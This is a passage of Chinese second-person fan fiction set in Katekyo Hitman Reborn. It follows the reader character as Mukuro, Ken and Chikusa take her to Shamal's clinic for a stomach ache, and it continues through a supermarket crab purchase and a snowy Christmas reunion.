你把脑袋埋入六道骸的颈窝,身上不断冒着讨人厌的虚汗,你烦闷地牙痒,张嘴就在六道骸的脖子上咬了重重一口,听到熟悉的闷哼声,你叼着他的软肉磨牙,好半天,你才勉强松口。 “我不想他们看到我的脸。”你的声音闷闷的,温热的吐息像蛇一样阴湿潮冷,六道骸莫名有种饲养阴暗小动物的感觉。 “kufufu…这当然不是问题。” 本来,六道骸就不打算让人看到你的脸。 你本想自己下来走,但你一走动就直冒冷汗。六道骸弯腰抱起小犟猫,他似笑非笑地盯着乖乖在他怀里躺好的你:“哦呀,这下安静了?” 你不高兴地把头埋起来,没有说话。 住进这里之前,六道骸就已经上上下下探索了一遍周边环境,所以他很清楚诊所在哪。坐车不过几分钟,很快,他们来到了目的地。 六道骸他们现在的情况并不适合去正规的医院,所以六道骸找到的是立场灰暗的地下诊所。抱着你,一路上,六道骸的幻术就没解除过。 察觉六道骸停下脚步,你勉强睁开眼睛,透过小凤梨蓝色发丝的间隙,你看到了诊所附近的环境。 午后的天气,天空灰暗得像要吃人,反光的柏油路面如同撒了一层粗粝的盐粒,散发着一股工业劣质的皮革味,你皱眉移开视线。 幻术作用下,路人根本不会注意到你,没有那么恶心讨厌的视线,你的心情总算好上一些。 城岛犬的脑子里完全没有敲门的概念,他直接推门而入。 “喂喂,人呢?” 这里的地下诊所位置很偏僻,如果不是一般人还真找不到,六道骸也是在混入某黑手党家族才得到的消息。 虽然诊所的医生是新来的,但据说,他什么病都能治。 不属于任何黑手党的势力、医术高超、保密性极高……排除所有选项,最终,六道骸选择了这里。 “真是没礼貌的臭小鬼啊。”脸上拉满胡渣、不修边幅的白大褂大叔打着哈欠走了出来,夏马尔耷拉着脑袋,抬眼就看到三个乳臭未干的小男孩,夏马尔嫌弃地摆摆手,他干脆利落,“不救。” “哈?!你还没看就不救,春也只是吃辣吃多了而已啊。” 城岛犬反应最大,哪有医生还没看诊就说人没救啊。 柿本千种沉默,“犬,他的意思应该是,不会救人。” 夏马尔扬眉看了眼冷静的柿本千种,他倒是和自己认识的一个家伙性格完全相反,夏马尔抓了抓头发准备回到小屋,“这家伙说得没错,你们找别人吧,我可不救臭男人。” “况且你们三个身上哪有伤?” “不是我们三个受伤。”柿本千种难得皱眉,冷静地自上而下扫视了眼夏马尔,柿本千种压下内心的怀疑,“是春也。” 夏马尔顿住动作,春也? 第24章 不怪夏马尔没有注意到你, 早从一开始,夏马尔就中了六道骸的幻术。非攻击性的温和幻术让夏马尔自然忽略了你的身影,直到六道骸把缩在他怀里的你露出来, 夏马尔终于意识到不对劲。 单手掰开药丸形状的胶囊, 迎着男孩们警惕的眼神, 在三叉戟之蚊叮了下自己后, 夏马尔彻底清醒过来。 果然,他就是喜欢不起来幻术师啊。反应过来的夏马尔烦闷地叹了口气, 要不是看出这幻术不是冲他来的, 夏马尔才不会这么好说话。不过,男孩们的这番行为倒是引起了夏马尔的注意力。 单手插兜, 夏马尔不动声色观察着眼前的三个人。目光落在正中央靛青发色男孩的异瞳上,夏马尔的眼里闪过思索,说起来,他可是听说,最近黑手党家族频频出事, 主使者似乎就是位漂亮的异瞳少年呢。 不过这和他可没什么关系。 视线下移,夏马尔看到了六道骸怀里的你。 “三叉戟·夏马尔。” 在夏马尔拿出三叉戟的蚊子时, 六道骸认出了夏马尔。 ——连黑手党都畏惧的杀手「三叉戟夏马尔」。 在此之前, 六道骸只听说过他的名号,并没有真正见过夏马尔,没想到他会出现小小的地下诊所里。 见六道骸叫出自己的名号,夏马尔浑身上下透着摆烂的气息,他可不想卷入麻烦里。 “我只是一个普通的医生。” 见状,六道骸淡笑不语。 你抬起昏沉沉的脑袋,灰蓝眼冷淡扫向拉满胡渣的白大褂大叔,你观察了下诊所, 并没有发现什么专业的医疗工具,你不解地看向夏马尔。 “你是医生?” 印象中,你见过的医生都会规整地系着扣子,仪容仪表都打理得很干净,很少有像夏马尔这样颓废随意。还是说,意大利的医生比较特别? 看清你的脸后,夏马尔愣住几秒。六道骸上了双重幻术,一重蒙蔽路人感知,一重遮掩你的存在,三叉戟之蚊让夏马尔破了覆于自己的幻术,但看到你的时候,落在你脸上、另一重似有若无的幻术还是无法让他彻底看清你。 不过凭借丰富的经验,夏马尔光速判断,你绝对比他以往见过的任何一个女孩都要漂亮。不光是如同遮掩在面纱下的脸庞,仅凭你偶尔流露出的吸引力,夏马尔就知道,你很特殊。 犹豫了下,夏马尔没有选择给自己解开另一重幻术。 听到你的疑惑,夏马尔肯定地开口:“当然,我可是一名经验丰富的优秀医生。” 病患性别和自己相反,夏马尔的态度肉眼可见的温和不少,他热情地握上你的手,“这位美丽的……” ……夏马尔没有握上,不光如此,他原本想说的话也被人打断。闪身躲过攻击,夏马尔低头看过去,柿本千种拿出溜溜球抵挡住怪大叔的攻势。 眼镜反着冷光,柿本千种没有感情地抬眼:“你想做什么?” 夏马尔竖起双手以示友好,他可不想在今天跟人起冲突。况且这三个……掩下眸中思绪,夏马尔收敛了自己的动作,成熟的男性率先表达了自己的友善:“要看病的不是你们吗?我只是先诊断而已。” 六道骸神色不明,他幽幽注视着夏马尔,城岛犬已经想拿出动物齿模卡匣了,你抓住了城岛犬的手,城岛犬下意识止住动作,他乖乖站在原地没有再动。你挣扎了几下,六道骸动作轻缓地放你下来。 见你看过来,夏马尔朝你露出一个热情的笑容,他言语轻佻暧昧,但眼神却是清明干净。这大概是意大利男人刻入骨髓的撩妹天赋,你忍不住猜测,异世风情虽然让你不太习惯,但正常情况下,你都会努力适应。 “称呼我为夏马尔就好,这位美丽的小姐是有哪里不舒服吗?” 不得不说,夏马尔的不正经模样舒缓了你的紧张,你下意识捂住肚子,你不确定地开口:“胃吧。” “春也是吃多了辣啦。” 见夏马尔正经起来,又态度友善,城岛犬和柿本千种勉强放下戒心,到底是你的身体更重要,听到夏马尔的问话,城岛犬率先回答。 虽然是小诊所,但听诊器之类基础医疗用品还是有的,夏马尔稍微掸了下床上的灰。 跟随夏马尔的脚步,你简单扫视了下周围。诊所不大,但异常干净简洁,除了柜子上摆放的一些酒精棉等,这间屋子干净得简直不像一个诊所,倒像是什么简装修的毛坯房。不过这大大舒缓了你的焦虑。 “先躺下来,我来给你检查。” 作为医生,夏马尔轻易就能感知到患者的一些情绪,察觉到你的焦虑,夏马尔轻声安抚了下你。 “辣吃多引起的症状也不尽相同,不过也不用太担心,治疗起来很简单。” 你磨磨蹭蹭地来到床边。 白色的墙皮、白色的床单、白色的医生……你克制不住地回想起那些恶心的怪物,手指攥紧床单,你坐在上面,你不自觉开始焦虑,指关节隐隐幻痛,你又想啃你的手了。 视线无意识投向六道骸,城岛犬和柿本千种,城岛犬立刻紧张地来到你面前,“一定要躺下来吗?坐着不能诊吗?” 夏马尔挑眉:“你说呢。” “好了好了,男士先回避,你们在这干扰到我了。”装上简陋的帘子,夏马尔挥手驱赶着碍事的男孩们,不过或许称之为骑士更为妥当。摸了摸下巴,夏马尔觉得他们完全没有自己当年的风范。 被迫听从医生的指令,城岛犬不爽地蹲坐在帘子外,他选的位置很巧妙,恰好是一听到你动静就能立刻冲进去的位置。 虽然小小的帘子根本遮挡不了他们,但城岛犬和柿本千种还是不约而同选了最好攻破的位置。 夏马尔没有理会男孩们的小心思,这点稚嫩的手段,根本不够看的。 转过身,对待女孩,夏马尔的耐心肉眼可见增多不少,扭头见你还没有动静,夏马尔耐心蹲下身,“还有哪里不舒服吗?” 你摇了摇头,但无论是你泛冷的眸子还是抿紧的嘴巴,都彰显着你此刻不好的心情。夏马尔无奈摊手,“好吧,既然美丽的小姐不愿意躺下,那就先这样坐着吧。” 对待女士,夏马尔向来包容。 盯着垂目不语的你几秒,夏马尔单膝蹲在你身前,抬起你的一只手,摸上你的骨头,夏马尔若有所思,才九岁,他一开始竟然感觉错了。 手指下移,轻轻按压在你的腹部,观察着你的表情,夏马尔默默在心里记下:疑似痛觉神经不敏感。 基本的检查做完,夏马尔已经知道了你的症状,拿出三叉戟之蚊,夏马尔默默看着蚊子叮咬了你一口。 ……真是奇怪啊,明明身体的各项状态都显示正常,但医者的直觉告诉他,有哪里不对劲。夏马尔忍不住皱眉。 夏马尔的情绪伪装得很好,你完全没有看出不对。和你想象的不同,夏马尔的医治方式比较特别,小小的三叉戟蚊子一上场,你瞬间感觉自己的身体轻松许多。 撩起紧贴在后颈的黑发,你试探性地走动几步,语气迟疑不定:“好了?” “没错。”治疗完毕,夏马尔又恢复了平日里不正经的模样,他轻佻自然地抬起你的手,带着意大利男人特有的调情语调,夏马尔说的话暧昧模糊,“治疗完了,美丽的小小姐是否愿意和我约个会呢~” “春也才不会跟你这个邋遢大叔一起约会!!!”知道你没事后,城岛犬第一个闯了进来,像条恶狠狠的野狼犬,城岛犬抓着你牢牢护在他身后。 你满脸写着茫然。 夏马尔大惊失色:“邋、邋遢大叔?!” “犬,以后你不要学他的章鱼头造型,很蠢。”柿本千种冷淡补刀。 章、章鱼头?! 噗哧,夏马尔的心脏再中一剑。 “可以了,犬,千种。”六道骸淡淡出声阻止他们,他似笑非笑地盯着夏马尔,漂亮的异瞳在狭小的诊所里泛着幽幽冷光,“报酬,我已经支付过了,夏马尔。” “嗨嗨。” 夏马尔目送你们离开,他抓了抓头发,“啧,臭小鬼们就是麻烦。” 不过…… 举起镜子,夏马尔看了眼自己的造型和脸蛋,他满意地点了点头。他才不会在意臭小鬼的意见呢,没看到可爱的小春也都没有说话吗。 不紧不慢的脚步声在诊所响起,来人哼笑一声,光影下,长长的影子拉到夏马尔的脚边。 “你什么时候染上了臭美的毛病。” 说话的人抬了抬帽檐,黑沉的大眼睛一眨不眨盯着不紧不慢收起镜子的男人。 “里包恩说话还是一如既往的不留情啊。”夏马尔不满的抱怨,散漫又随意地坐在床沿,夏马尔看向戴着礼帽的小婴儿。 “刚刚那几个人也是你的病患?”里包恩挑眉,“你不是从来不接待男人吗?” “是啊,所以我救治的是他们中间的少女啊。”夏马尔笑得漫不经心,“你没注意到吗,里包恩。” 第25章 里包恩记得你。 十字路口, 穿梭的人流,无意对上的视线,惊鸿一瞥的面容……凭借杀手强大的意志力, 里包恩正常地收回视线, 但杀手优秀的记忆力还是让他记下了你的模样。 他对小女孩可没有兴趣。压了压帽檐, 里包恩自然消失在人海中。 第二次见面, 你戴着柿本千种买的帽子,城岛犬牢牢抓着你的手, 擦肩而过时, 杀手的警觉让他不动声色瞥了你们一眼,六道骸的站位恰好挡住你, 里包恩面无表情地移开眼。 他从来不是会多管闲事的人,自然,里包恩无意识忽略了你的身影。 在你离开后,里包恩动作微顿,单手捏起帽檐转身, 里包恩只看到三个人的背影,其中那颗凤梨脑袋异常显眼。 ……有哪里不对劲。 但接触的时间太短, 信息量不够, 里包恩很快收回视线,黑沉的眼睛难辨心绪,他不紧不慢走入诊所。 现在,听到夏马尔的话,脑海中的迷雾恍若被晴日拨散,里包恩的眼里忽然染上灰蓝的色彩。 哼笑一声,里包恩压了压帽檐,“我知道。” 不过他倒没也没什么特别的想法, 作为一名成熟男性,里包恩自认自己的爱好还没有脱离正常人的范畴。 虽然夏马尔本人散漫随性,且是一个杀手,但这家伙确实有点医德在身上,既然说过了不干涉,夏马尔也不会再讨论,那点异样被他抛之脑外。 话锋一转,夏马尔另起话头:“你怎么来了?又是你那不省心徒弟?” 里包恩冷笑一声,没有反驳。看到里包恩这个样子,夏马尔不走心地为迪诺之后的训练默哀。 在里包恩和夏马尔简单讨论迪诺的时候,你正和六道骸他们一起,慢悠悠走在路上。 和里包恩一样,你也看到了他。是很特别的小婴儿,你似乎对他有印象,但那天的见面对你来说不过是匆匆一瞥,你的印象到底不如里包恩来得深刻。 “春也在看什么啊?”城岛犬偏头看你,他并没有在意路过的小婴儿,倒是柿本千种若有所思地托了托眼镜。 那个小婴儿给他的感觉,很强。 “看到一个眼熟的小婴儿。”你试图回忆,回忆失败,“不过我忘记我在哪里见过他了。” 但也不全是你记性差的缘故,本身作为世界第一杀手,里包恩就特别擅长隐匿踪迹和降低存在感,无意让你看到他已是相当纯粹的巧合。 六道骸摸了摸你的脑袋,他语调散漫,又透着异样的冷漠:“不用在意他,春也。不过是和我们无关的人而已。” “春也只需要看着我们。” “骸大人说的没错,我们才是一体的。”对待六道骸的话,城岛犬和柿本千种总是认同又遵守。 而这一次,他们更是发自内心的认同。 为什么要关注陌生人呢,明明他们才是一家人不是吗? 为什么,春也的目光不能始终停留在他们身上…… 城岛犬不自觉握紧你的手。 想要,春也一直看着他。 “我知道了。”你可有可无地点头,同样握住城岛犬的手,你笑着晃了晃你们牵着的手,灰蓝的眼眸倒映着城岛犬的身影,你弯了弯眼睛,“你看,我现在就在看着你啊,犬。” 你当然知道犬、千种、骸才是最重要的,因为你们是家人。而家人,就应该永远注视陪伴着对方。 — 最近,六道骸他们又开始忙起来了,不过不管再怎么忙碌,他们三个依旧会留下一个人陪着你。 今天留下来的是柿本千种。 和城岛犬的傲娇和偶尔的直白不同,柿本千种更加内敛安静,但这并不意味着,你会忽视他。 柿本千种的存在感不高,但却意外的难以让你忽略。 他总是喜欢用那双幽静冷淡的眼睛注视你,不浓不淡的视线恰好可以让你自然适应。 譬如此刻,你慢悠悠推着购物车,扭头看去,不出所料,柿本千种正在看你。 属于他的帽子整整齐齐戴在你头上,柿本千种重新买了顶薄薄的针织帽,恰好赶上降温,现在正是适合戴针织帽的季节。 注意到你的视线,眸光微动,柿本千种又靠近了你一点,单手握上你手边的购物车杆子,他低头看你:“怎么了?” 你扭过头不去看他,“我只是看看你在干嘛。” “我在看春也。”柿本千种语气平静地回答你。 柿本千种不会对你说谎,他的话永远都是简短又直接。 六道骸不在,你简单裹了层柔软的围巾,大大的墨镜几乎遮住你大半张脸。 早上六道骸编过的灯笼样式的辫子乖巧搭在你肩两侧,额前两侧刘海堪堪落在你锁骨,你的脑袋上还箍了个恶魔翅膀的发箍,看上去又可爱了些。 柿本千种默默看了自己的手一眼,下一次,他也可以试着给你编辫子。 手动降低魅力值,虽然效果没幻术那么好,但也有用。三三两两的视线落在你身上又很快移开,你才懒得搭理那些人,指着你想要的东西,柿本千种自然替你拿下。 “今天是圣诞节,骸骸和犬会回来吧。” 你丝毫不觉得自己会得到否定的回答,说实话,你们对节假日并无特别的感觉,一年三百六十五天,对于没有工作的你们来说,每天都是节假日。 但是在忙碌的日子里,节日会让你们团聚。 “会。”柿本千种也给出了肯定的答案。 “骸大人和犬还给你带了礼物。” 骸骸的礼物总是不会让你失望,但犬的礼物则更令你感到惊喜,毕竟,你永远也不会知道城岛犬的小脑袋里究竟装了些什么。 见柿本千种只是提及了六道骸和城岛犬,正在对比酸奶品牌的你回过头。墨镜下,柿本千种看不见你的表情,只听到你带着笑意的声音。 “那你呢。” 柿本千种微微一怔,他浅浅抬眼,两重蓝色相撞,很快,你的蓝缓慢又彻底地占据他的眼睛和心脏。 “我现在更好奇千种的呢。” 第26章 你在关注他。你在在意他。你的心里有他的影子。 抬手托了托扰人的眼镜, 喉结微滚,柿本千种低头看你。你的脑袋上还戴着属于他的帽子,心底升起一股古怪的满足感, 柿本千种忽然觉得喉咙有些干涩。 见你还在等待他的回答, 柿本千种缓慢眨了下眼:“礼物, 要春也亲自拆封, 才算惊喜。” 提前诱惑答案失败,你撇过脑袋不再看他, 你继续对比酸奶品牌。 你的语言天赋不算差劲, 加上你刚通过高考,你的记忆力正处于巅峰时刻, 更何况还有六道骸、城岛犬和柿本千种一起陪你学习交流,现在,你的嘴里也能蹦出几句流畅的意语和日语,不过读写和看文翻译依旧困难。 认真盯着酸奶上的意大利语,你眉头紧锁。你大致能理解这是一瓶酸奶, 再看上边具体的内容,你又有些不认识了, 和你做英语完形填空的感觉很像。 纠结片刻, 你突然想到,你完全可以拥有两罐酸奶啊,为什么非要在它们之间选一个呢,你明明就有能力全部拥有。 想通之后,你把两罐酸奶全都放入购物车,偏头看向身侧,你又一次和柿本千种对视上。他对你的视线似乎很敏感,不论何时, 只要你看向他,你总能望入那片幽蓝色的海面。 想起自己没有得到答案的事,你恶劣地拖长音:“那要是让我不满意,就奖励千种吃一个星期螃蟹。” 柿本千种讨厌螃蟹,他觉得螃蟹吃起来很麻烦,恰好,柿本千种讨厌麻烦。 听到你的话,他也不生气,不紧不慢跟在你身侧,柿本千种平静开口:“我的螃蟹,给春也吃。” 他讨厌螃蟹,但是春也喜欢。 春也喜欢吃螃蟹这件事,还是他们一起去海鲜餐馆发现的。不过螃蟹性寒,你又对自己的身体没数,每餐你能吃上五个,已经是在六道骸他们极度放水的情况下。 尤其是,自上次你吃辣吃坏后,三个人开始严格把控你的三餐。别说螃蟹,就算是想敞开肚子吃撑,在三人的监督下,你基本告别十二分饱。 不过,说是严格把控,三个人不约而同都会瞒着其他人悄悄投喂你。 “螃蟹,是我们的秘密。” 自觉把你想要的东西全都放进购物车,柿本千种一点也不觉得把优秀的侦查能力用在观察你身上有什么不对,他微微偏头,平静的语调莫名让你有股做坏事的刺激感。 “被犬和骸大人发现,后果会很严重。” 听到柿本千种的话,耳朵悄悄竖起,墨镜下,你的眼睛闪闪发光。 连续一周吃螃蟹,你都不敢想象这是一件多么幸福的事! 嘴角控制不住地翘起,你克制着自己的兴奋,扯了扯柿本千种的衣角,你超级明显地示意旁边的生鲜区:“那我现在说不满意你的礼物,千种可以现在去买螃蟹吗?” 你毫无自觉地贴近柿本千种,灰暗的镜片下,你的眼睛恍若蒙上了一层雾纱,隔着墨镜,柿本千种静静观察你。 像终于黏过来的猫,你的眼里彻底映入他单独的身影。 无意识摩挲了下指尖,柿本千种恍若受不住般回避了你的目光,但下一秒,他又极力忍耐着,直直和你对视。 有点,可爱过头了。 预想过你的反应,可等到真正发生,柿本千种根本抑制不住怦然加速的心跳声。也只有在这种时候,你的眼里才会只出现他一个人的身影。 柿本千种知道自己的想法不对,但偶尔,他也会难以自控地想你全副身心只依赖他。而对家人的情感,又生生抑制住了他错误的想法。 柿本千种想,他会习惯的,他也喜欢,你们四个人彼此交织的命运线。 “春也这样说,我会难过。” 柿本千种眨了下眼,见你望着高出你头顶不少的货架出神,柿本千种抬手越过你,他拿下了你想要的薯片,却又没有直接给你。薯片精准控制在你以为自己能够到,实际却很费力的距离,柿本千种的语气一如既往没有起伏,可你却硬生生听出了某种情绪。 “春也,只喜欢螃蟹,不喜欢我吗?” 千种喜欢简短语也体现在这一方面,对于不必要的事和话,他会适当省略。很多时候,你都分辨不清他到底是习惯使然还是故意的。 你踮脚去够柿本千种手里的薯片,但柿本千种太会控制距离,你难以真正触碰到你想要的薯片。你有些气恼。明明几个人都是营养不良,但唯独你最过瘦小。柿本千种看上去最瘦弱,偏他骨架又宽又大,仅仅只是站在那里,几乎就能挡住你全部的体型。 你根本不能想象青春期后,柿本千种还能蹿多高。 “春也还没回答我。”柿本千种一手举着薯片,一手推了推眼镜,他缓缓开口:“想要知道,春也的回答。” 螃蟹和千种,这可真是难以抉择的问题,你毫不犹豫:“我当然是最喜欢千种。” 千种能带你买螃蟹,螃蟹可不能让你得到千种。 耳根发热,柿本千种顺从地任你拉扯下他的手臂,你如愿得到薯片,塑料袋的声音在你们传递的过程中哗啦作响,你满足地又扒拉了一整个货架的薯片。 “零食吃太多,不好。”柿本千种拽住你还想狂购的手,“骸大人也会没收的。” “骸骸才不会管这些。”怀里紧紧抱着购物车里快要装不下的零食,你义正严辞:“再说了,我也不是一个人吃啊,还有犬呢,犬也很喜欢吃零食。” “而且千种忘记了我们几个一起吃零食的美好时光了吗?” “噗哧。” 听到两个漂亮小孩童趣可爱的争辩声,没忍住,老奶奶笑出了声。 笑声响起的一瞬间,柿本千种快速拉你到他身后,瘦削有力的手指握紧你的手腕,幽冷的蓝眼睛警惕地盯着来人,比你高半个头的柿本千种结结实实挡住了你瘦小的身体。 你谨慎地从柿本千种背后冒出半个脑袋,和柿本千种的嬉笑瞬间化为寂静,黑沉沉的目光透不进光,你看到了一位头发花白的老奶奶。 你愣了下。 稀疏的路人快速避开你们这块地方,面容慈祥的奶奶拎着小篮筐,年纪大了,感官不敏锐,她并没有感受到忽然之间诡异的氛围。抬起头,老奶奶恰好和你的小墨镜对上视线。 有点像她养的那只疑神疑鬼的猫,老奶奶想起了大胖,大胖和你一样,听到点响声就会谨慎地藏住身体,而后再好奇地探出脑袋。 只不过,大胖身边可没有骑士。 注意到柿本千种对你的保护,像看自家懂事的大胖橘,眼神不好使的老奶奶会心一笑:“这个年纪的孩子很少有像你们这样节制的,小孩子嘛,不要考虑那么多, 开心最重要。” 说完,老奶奶目露怀念地看向你们,主要是看你身旁的那个冷淡少年,以过来人的语气,老奶奶语重心长:“太过强势和较真,可不会赢得女孩儿的欢心啊。” 发现只是一个毫无训练痕迹的普通人,柿本千种不动声色放松了紧绷的肌肉,你趴在千种后背,也跟着放下警惕。 柿本千种听懂了老奶奶的话,推了推眼镜,他没有说话,柿本千种没有和陌生人解释的爱好。 倒是你眼睛一亮,像是找到了正当理由,你把怀里的零食往柿本千种怀里一送,你极其自然地向另一侧货架伸手。柿本千种一个不漏地接住你的零食,把它们全都放进购物车,伸手一勾,柿本千种头也不抬就拎着你围巾往外走。 脖子一紧,像被猫妈妈叼住后颈的可怜小猫,你被迫跟着柿本千种的路线走。 “春也今天的零食已经超标了。”不等你生气,柿本千种慢吞吞又补充了一句:“春也不想吃螃蟹了吗?” 那自然是想的。 眼见柿本千种的目的地是隔壁螃蟹区,你眼睛一亮,拍拍柿本千种的手示意他松掉桎梏,反客为主,你欢快拉着柿本千种来到螃蟹区,后者顺从地跟上,视线落在你们相牵的手,柿本千种不动声色翘了下嘴角。 这个季节的螃蟹正当肥美,蟹黄和膏都异常鲜美,无论怎么挑,又大又肥的螃蟹都已经熟得透透的。 柿本千种单手搭在购物车上,他垂眉认真看你挑螃蟹,两股辫子在你动作间变了方位,一股在胸前,一股在后背,恶魔翅膀的发箍倒是精神抖擞地立在你头顶。 柿本千种安静注视着你,他站在你后方,左手还替你拿着袋子,他在心里默数你挑螃蟹的数量,确认在犬和骸大人都会不赞同的边缘时,柿本千种及时制止了你还想继续的手。 你盯着盆子里活蹦乱跳的螃蟹,你仰头看向柿本千种,苍白修长的手指轻轻敲敲柿本千种的手背,你拉长音:“这就够了吗?我觉得还可以再来几个。” “比如说那一只。” 顺着你手指的方向,柿本千种看到了一只格外耀武扬威的大螃蟹,你还在旁边说话:“那只螃蟹那——么大,一看就很美味!” “不……” 拒绝的话才刚开了个口子,你整个人瞬间消沉失色,柿本千种下意识咽掉拒绝的话,“最多只能再一个。” “春也,还有一个星期的螃蟹时间。” 你心满意足地抓起那只你看中了很久的大螃蟹。 结完账,柿本千种拎着大包小包,你心情愉悦地走在他身边,抬头看向灰蒙蒙的天空,你慢吞吞踩着地面的方格子。 “犬和骸骸什么时候回来?” 说起来,圣诞节,会下雪吗? 你问完千种话后,没有人回答你,你疑惑偏头,只看到柿本千种反光的镜片,与此同时,你听到有人叫了声你的名字。 “春也。” 你怔愣住,抬头看去,店门前圣诞树璀璨的光芒下,六道骸就站在那看你,城岛犬从他身后冒出,犬欢快地朝你招了招手。 “春也,小柿!” 脸上落下一片冰凉,晶莹的雪花在你鼻尖绽放,你后知后觉意识到,下雪了。 第27章 你的螃蟹藏不住了。这是你的第一反应。 你的螃蟹周一定得藏住。这是你的第二反应。 不过, 那点心虚在看到六道骸朝你张开的双手后,瞬间化为乌有,你的心里只剩下纯粹的欢喜。 “犬!骸骸!” 你欢快跃入六道骸的怀抱, 奔跑带来的冲击力撞得六道骸几乎快要往后退几步, 但六道骸硬生生忍下了后退的步伐, 凤梨头表情沉稳地接住了你。 “哦呀哦呀, 看到我这么激动啊。” 六道骸轻笑着抱住你,雪花一片一片缓慢落在你们脑袋, 迎着圣诞的欢歌, 六道骸抬手拂去你肩膀的雪花。 “圣诞快乐,春也。” 璀璨的圣诞树下, 他撑起伞,漆黑的伞面隔绝了落雪,六道骸牵起你冰冷的手,察觉掌心冷冰冰的温度,六道骸自觉把你的手放入他的口袋。 “你的手还是一如既往的没有温度呢。” 六道骸今天穿的不算单薄。 紧身的黑色小高领外搭着深咖色大衣, 黑色毛呢直筒阔腿裤的裤脚向上卷了两圈,搭着帅气的黑色马丁靴, 六道骸整个人看上去异常帅气。 大约毛衣贴毛衣又贴身体, 他牵着你的手放入口袋时,你感受到了明显的暖意。冰凉的手轻微蜷缩了下,很快,比口袋更暖和的手握住了你。 城岛犬相当自然地钻入你们的伞,耳尖听到骸大人的话,城岛犬也跟着开始捂你的手。 他学着骸大人的动作,城岛犬小心翼翼牵住你的手,发觉你的手远比自己想象中的还要冰冷, 城岛犬张嘴就是抱怨:“今天也太冷了,突然就降温,都没有预警。” 城岛犬忽然庆幸自己今天穿了有袋子的衣服,不然他都没有没有办法替你暖手。 你感知着暖意,你开始在心里默默对比起两个人的温度。城岛犬总是一副精力过剩的模样,他的掌心温度远远高出你不少,甚至,他比六道骸还要暖和。 城岛犬的学习能力很强,口袋隔绝了所有视线和窥探,他张开手指想要更加温暖你,骨架宽大的手掌默默包裹住你的手,茧子轻微摩擦着你的手,你清晰感知到一根根手指缓慢地贴入你的指缝,而后又用力合上。 城岛犬以为和你十指相扣能更快地向你传递他的热量。 但是,好像确实更温暖了些。你不自觉贴近两个人,正好他们都比你高一些。城岛犬和六道骸站在你两侧,连过路的风都要绕道而行。 “小柿也快来伞里躲着啊!”城岛犬特意往你身边靠了靠,你又往六道骸身边挤了挤,骤然缩小的空间内,温度仿佛都升高不少。 所幸这把伞不算小,城岛犬给还暴露在大雪里的柿本千种留下一大片空地。 伞也是六道骸特意买的大伞。 意大利是个浪漫的国度,两人合撑一把伞的场面很常见,但四个人合撑一把伞就比较少了,六道骸也是转悠了好几个店铺,才找到这把很合他心意的大伞。 柿本千种定定看了你们几秒,他拎着大包小包的零食和食材,尽管知道袋子里的螃蟹无法瞒过骸大人的眼睛和犬的鼻子,柿本千种还是努力地企图藏起罪证。 慢吞吞走到城岛犬预留的一大片空地里,柿本千种小心翼翼避开城岛犬,他不紧不慢地开口:“天气预报有说,今天降温。” “哪里的天气预报,我怎么不知道?” “路上留意的话,出租车的收音机、小店里的电视机、行人手机自动播报的语音……这些都是信息。” “犬,是笨蛋吗?” 柿本千种语气毫无波澜地反问,这远比真实的嘲讽更加嘲讽。 城岛犬撇撇嘴:“本大爷才不是笨蛋。” 他的五感敏锐,每天接收的信息都很嘈杂,如果不是自己刻意去梳理记忆,那些纷乱的信息只会在他光滑的大脑里匆匆留下短暂的痕迹。 “每天要梳理记忆那么多的信息,本大爷也是会头疼的啊,所以难免会有疏漏啦,再说了,这不是还有小柿嘛。”城岛犬理所当然地说道。 天气对他们出行办事的影响几乎可以忽略,再恶劣的环境,城岛犬都能好好生存。 可是现在他们有春也了诶……城岛犬还是选择默默把梳理天气预报的信息记忆在脑海里。 不过,撇开天气的话题不谈…… 鼻尖耸动,城岛犬轻轻嗅了嗅空气。从刚才开始,他就一直闻到股很熟悉的气味,但是,落雪、微风,还有你身上的气息又干扰着他,一时之间,城岛犬没能及时想起这股熟悉的腥味属于什么食物。 倒是六道骸缓缓偏过头,似笑非笑的视线落在你和竭力掩饰的柿本千种身上,他安静欣赏了会你和柿本千种不自觉紧张起来的模样,六道骸哼笑一声,他慢条斯理地开口说话: “kufufufu…我好像感知到了螃蟹的存在呢。” 第28章 六道骸说完这句话后, 现场陷入古怪的沉默,唯有不受影响的城岛犬露出恍然大悟的表情。 “本大爷终于知道那股熟悉的腥味是什么了,原来是螃蟹啊。” 后知后觉, 城岛犬意识到不对, 他扭头盯向沉默不语的柿本千种, 城岛犬终于注意到了小柿手里拎着的大包小包。 螃蟹, 就在里面! 城岛犬立马不赞同地出声:“春也刚吃过螃蟹,小柿你怎么又买了?!” “笨蛋小柿, 书上说了, 春也不能吃过量的螃蟹。” 六道骸意味不明地哼笑一声,你扭过脸盯着城岛犬不停叭叭叭, 抽出手,你面无表情拍上他的嘴:“你别说话,犬。” 嘴巴贴上你柔软细腻的掌心,城岛犬刚一张嘴,湿润的长舌头就要舔到你, 他连忙止住想要张口的欲望。 喉结滚动,咽下紧张又渴望的口水, 城岛犬睁着疑惑的眼睛, 他歪头注视你,敏锐的直觉告诉他,你生气了,可是城岛犬完全不明白他又做错了什么。 他也没有理解你的良苦用心。 鼻尖萦绕你身上好闻的气息,城岛犬满脑子都是你的手好香好软,控制不住地咽了下口水,城岛犬竭力克制自己想要张嘴标记你的冲动。 毕竟,如果真的舔一口, 或者咬一口,春也绝对会更加生气。城岛犬不想你生气,所以他死命克制自己古怪的想法。 可恶,他又不是狗,为什么身体会产生这么多奇怪的反应?城岛犬不理解。 六道骸还握着你的手,看到你的动作,他抬手把伞柄递给城岛犬,指骨屈起,六道骸轻轻敲了敲你捂住城岛犬嘴巴的那只手腕: “哦呀,这是在做什么?” “禁止剥夺犬的声音呢,春也。” “我才没有剥夺。”你冷哼一声,“犬要是真的想说话,就算我捂住他的嘴,犬也能出声。” 谁知道城岛犬在想什么。 你低眉看手,掌心里残留着犬温热的气息,隐隐还带着古怪的湿润,你忍不住皱眉,嫌弃地从六道骸的口袋里拿出手帕,你轻轻擦拭你的手。 温热的手指刚一接触到冷空气,你就控制不住地蜷缩了下手指,随意擦了擦掌心,你准备回家后再认真清洗。 再次抬头,你发现城岛犬正低头看你动作,橙金色的眼瞳一眨不眨盯着你,昏暗的光线下,你一时竟看不清他眼底的情绪。 另一边,听到城岛犬的回话,一直安静的柿本千种总算有了点反应,他缓缓偏过脑袋:“犬在看什么书?” “……中医经典膳食大全。”收回视线,城岛犬慢半拍回答道。 柿本千种眨了下眼,他语调平静又透着难言的惊讶:“犬现在已经能看懂中文书了吗?” “怎么可能啊,只是能看懂几个单词而已,我一直都是对照翻译器看的。” 提到中文,城岛犬终于从刚刚的情绪中抽身。 